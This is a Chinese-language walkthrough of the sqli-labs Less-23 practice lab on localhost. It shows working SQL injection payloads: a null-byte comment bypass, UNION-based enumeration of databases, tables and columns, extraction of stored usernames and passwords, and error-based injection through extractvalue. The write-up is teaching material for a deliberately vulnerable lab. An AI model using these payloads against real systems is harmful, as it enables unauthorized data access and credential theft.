.Less-23
该关卡提示我们使用id注入。
首先判断注入点:
继续使用hackbar插件,
方法一:
http://127.0.0.1/sqli-labs-master/Less-23/?id=1 显示正常,返回了name和password信息
http://127.0.0.1/sqli-labs-master/Less-23/?id=1’ 报错
http://127.0.0.1/sqli-labs-master/Less-23/?id=1’–+ 报错
这里我们发现使用id=1’报错后,应该可以判断出闭合方式为’’,这是使用id=1’–+应该会返回正确,但是这里报错,我们猜测是后台为了避免注入,对–+进行了转义,这里我们使用;%00代替–+进行注释,测试一下猜想,如果后台没有对;%00进行转义,应该会返回正确:
http://127.0.0.1/sqli-labs-master/Less-23/?id=1’;%00
到了这里以后,我们就可以进行注入:
判断字段列数:
http://127.0.0.1/sqli-labs-master/Less-23/?id=1’ order by 3 ;%00
判断回显位:http://127.0.0.1/sqli-labs-master/Less-23/?id=-1’ union select 1,2,3 ;%00
获取当前数据库:
http://127.0.0.1/sqli-labs-master/Less-23/?id=-1’ union select 1,2,database() ;%00
获取所有数据库:
http://127.0.0.1/sqli-labs-master/Less-23/?id=-1’ union select 1,2,(select group_concat(schema_name) from information_schema.schemata) ;%00
获取security库中的表:
http://127.0.0.1/sqli-labs-master/Less-23/?id=-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) ;%00
获取users中的字段:
http://127.0.0.1/sqli-labs-master/Less-23/?id=-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’) ;%00
获取username和password字段的信息:
http://127.0.0.1/sqli-labs-master/Less-23/?id=-1’ union select 1,2,(select group_concat(concat_ws(username,0x7e,password)) from security.users) ;%00
方法二:
http://127.0.0.1/sqli-labs-master/Less-23/?id=1’ 有报错信息,我们可以使用报错注入。
我们已经猜测出闭合方式为’’,因此我们可以使用联合查询将语句带入执行,然后利用报错信息将我们需要的数据带出。
获取当前数据库:
http://127.0.0.1/sqli-labs-master/Less-23/?id=1’ and extractvalue(1,concat(0x7e,database())) or ‘1’='1
获取其他信息依次类推。。。·